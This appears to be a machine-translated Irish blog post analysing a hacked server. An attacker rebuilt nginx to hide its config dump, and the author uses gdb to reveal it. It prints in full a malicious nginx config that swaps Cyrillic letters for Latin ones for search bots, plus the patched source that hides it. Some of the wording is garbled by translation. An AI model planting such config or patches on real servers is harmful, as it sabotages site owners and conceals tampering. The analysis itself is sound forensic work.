Nuair nach ionann ‘a’ agus ‘a’. I ndiaidh haca

Scéal thar a bheith míthaitneamhach a tharla do dhuine de mo chairde. Ach chomh míthaitneamhach is a bhí sé do Mikhail, bhí sé chomh siamsúil domsa.

Caithfidh mé a rá go bhfuil mo chara sách UNIX-user: is féidir leis an gcóras a shuiteáil é féin MySQL, php agus socruithe simplí a dhéanamh nginx.
Agus tá dosaen nó suíomh gréasáin go leith aige atá tiomnaithe d'uirlisí tógála.

Tá ceann de na suíomhanna seo atá tiomnaithe do shábh slabhrach suite go daingean i mBARR na n-inneall cuardaigh. Athbhreithneoir neamhthráchtála is ea an suíomh seo, ach bhí sé de nós ag duine éigin ionsaí a dhéanamh air. Sin DDoS, ansin fórsa brúidiúil, ansin scríobhann siad tuairimí gáirsiúla agus cuireann siad mí-úsáidí chuig an óstáil agus chuig an RKN.
Go tobann, tháinig maolú ar gach rud agus d'éirigh an suaimhneas seo amach nach raibh go maith, agus de réir a chéile thosaigh an suíomh ag fágáil línte barr na dtorthaí cuardaigh.

Nuair nach ionann ‘a’ agus ‘a’. I ndiaidh haca amháin

Ba é sin le rá, ansin scéal an riarthóir féin.

Bhí sé ag druidim le ham codlata nuair a ghlaoigh an guthán: “A Sheáin, nach mbreathnóidh tú ar mo fhreastalaí? Feictear dom go raibh mé hacked, ní féidir liom a chruthú, ach níor fhág an mothúchán mé don tríú seachtain. B’fhéidir go bhfuil sé in am agam cóir leighis a fháil le haghaidh paranóia?”

Ina dhiaidh sin bhí plé leathuaire ar féidir achoimriú mar seo a leanas:

  • bhí an ithir le haghaidh haca torthúil go leor;
  • d'fhéadfadh ionsaitheoir cearta sár-úsáideoirí a fháil;
  • díríodh an t-ionsaí (má tharla sé) go sonrach ar an suíomh seo;
  • ceartaíodh réimsí faidhbe agus ní gá duit a thuiscint ach an raibh dul i bhfód ar bith;
  • ní fhéadfadh an hack difear do chód an tsuímh agus bunachair shonraí.

Maidir leis an bpointe deireanach.

Nuair nach ionann ‘a’ agus ‘a’. I ndiaidh haca amháin

Ní fhéachann ach an IP aghaidh bán amach ar an domhan. Níl aon mhalartú idir na hinnill agus an t-éadanas seachas http(s), tá na húsáideoirí/pasfhocail difriúil, níor malartaíodh aon eochracha. Ar sheoltaí liatha, tá gach calafort ach amháin 80/443 dúnta. Níl ar eolas ag IPanna inneall bán ach ag beirt úsáideoir, a bhfuil muinín iomlán ag Mikhail leo.

Suiteáilte ar an frontend Debian 9 agus faoin am a dhéantar an glao, tá an córas scoite amach ón domhan ag balla dóiteáin seachtrach agus stoptar é.

“Ceart go leor, tabhair rochtain dom,” socraíonn mé éirí as mo chodladh ar feadh uair an chloig. "Feicfidh mé le mo shúile féin."

Anseo agus níos faide:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Ag lorg hack féideartha

Cuirim tús leis an bhfreastalaí, ar dtús modh tarrthála. Shuiteáil mé na dioscaí agus smeach tríothu údar-logaí, stair, logaí córais, etc., más féidir, seiceálann mé na dátaí cruthú comhaid, cé go dtuigim go mbeadh gnáth-scáinteoir “scuabtha suas” ina dhiaidh féin, agus go raibh Misha tar éis “siúl” go leor cheana féin agus é á lorg féin. .

Tosaím i mód gnáth, gan a thuiscint i ndáiríre cad atá le lorg, déanaim staidéar ar na cumraíochtaí. Ar an gcéad dul síos, tá suim agam i nginx óir, go ginearálta, níl aon rud eile ar an tosaigh ach é.
Is iad na configs beag, struchtúrtha go maith i dosaen comhaid, táim díreach trí iad cat'OH ceann ar cheann. Is cosúil go bhfuil gach rud glan, ach ní bhíonn a fhios agat riamh má chaill mé rud éigin I measc, lig dom liostú iomlán a dhéanamh:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Níor thuig mé: “Cá bhfuil an liostú?”

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Cuirtear ceist eile leis an gceist liostála: “Cén fáth a bhfuil leagan chomh ársa sin de nginx?”

Ina theannta sin, creideann an córas go bhfuil an leagan is déanaí suiteáilte:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Tá mé ag glaoch:
- Misha, cén fáth go raibh tú reassemble nginx?
- Múscail, níl a fhios agam fiú conas é seo a dhéanamh!
- Ceart go leor, téigh a chodladh ...

Nginx tá sé atógtha go soiléir agus tá aschur an liostú ag baint úsáide as “-T” i bhfolach ar chúis. Níl aon amhras faoi hackáil a thuilleadh agus is féidir leat glacadh leis go simplí agus (ó tháinig Misha in ionad an fhreastalaí le ceann nua ar aon nós) smaoinigh ar an bhfadhb a réiteach.

Agus go deimhin, ó fuair duine éigin na cearta root'ah, ansin a dhéanann sé ach ciall a dhéanamh athshuiteáil córais, agus bhí sé useless a chuardach le haghaidh cad a bhí mícheart ann, ach an uair seo chuir fiosracht isteach ar chodladh. Conas is féidir linn a fháil amach cad a theastaigh uathu a cheilt uainn?

Déanaimis iarracht a lorg:

$ strace nginx -T

Breathnaímid air, is léir nach bhfuil go leor línte sa rian a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Le haghaidh spraoi, déanaimis na torthaí a chur i gcomparáid.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

I mo thuairimse, mar chuid den chód /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

tugadh chuig an bhfoirm:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

dá bhrí sin ní thaispeántar an liostú le "-T".

Ach conas is féidir linn féachaint ar ár config?

Má tá mo smaoineamh ceart agus nach bhfuil an fhadhb ach san athróg ngx_dump_config déanaimis iarracht é a shuiteáil ag baint úsáide as gdb, fortunately tá eochair --le-cc-rogha -g i láthair agus tá súil agam go leas iomlán a bhaint -Ó2 ní dhéanfaidh sé dochar dúinn. Ag an am céanna, ós rud é nach bhfuil a fhios agam conas ngx_dump_config d'fhéadfaí a phróiseáil i cás 'T':, ní thabharfaimid an bloc seo, ach é a shuiteáil ag baint úsáide as cás 't':

Cén fáth ar féidir leat '-t' chomh maith le '-T' a úsáidPróiseáil Bloc má(ngx_dump_config) a tharlaíonn taobh istigh má(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Ar ndóigh, má athraítear an cód sa chuid seo agus ní i cás 'T':, ansin ní oibreoidh mo mhodh.

Tástáil nginx.confTar éis an fhadhb a réiteach go turgnamhach cheana féin, bunaíodh go bhfuil gá le cumraíocht íosta chun go n-oibreoidh an malware nginx cineál:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Úsáidfimid é le haghaidh gortúlacht san alt.

Seoladh an dífhabhtóir

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Céim ar Chéim:

  • socraigh brisphointe san fheidhm priomh()
  • an clár a sheoladh
  • athraigh luach na hathróige a chinneann aschur an chumraíochta ngx_dump_config=1
  • leanúint ar aghaidh/deireadh leis an gclár

Mar is féidir linn a fheiceáil, tá an fíor-chumraíocht difriúil ón gceann atá againne, roghnóimid píosa paraisítí uaidh:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

A ligean ar ghlacadh le breathnú ar cad atá ag tarlú anseo in ord.

Cinneadh Gníomhaire Úsáideora's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Eisiatar leathanaigh seirbhíse wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Agus dóibh siúd a thagann faoin dá cheann de na coinníollacha thuas

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sa téacs html- leathanaigh a athrú 'Ó' ar 'o' и 'A' ar 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Sin ceart, is é an subtlety amháin sin 'a'!= 'a' comh maith le 'ó'!= 'ó':

Nuair nach ionann ‘a’ agus ‘a’. I ndiaidh haca amháin

Mar sin, faigheann róbónna inneall cuardaigh, in ionad gnáth-théacs Coireallach 100%, truflais modhnaithe caolaithe le Laidin 'a' и 'o'. Ní leomh liom plé a dhéanamh ar an gcaoi a dtéann sé seo i bhfeidhm ar Sinsearach, ach ní dócha go mbeidh tionchar dearfach ag a leithéid de litreacha ar shuímh sna torthaí cuardaigh.

Cad is féidir liom a rá, guys le samhlaíocht.

tagairtí

Dífhabhtaithe le GDB
gdb(1) - leathanach fear Linux
strace(1) - leathanach fear Linux
Nginx - Modúl ngx_http_sub_module
Maidir le sábha, sábh slabhrach agus sábha leictreacha

Foinse: will.com

Add a comment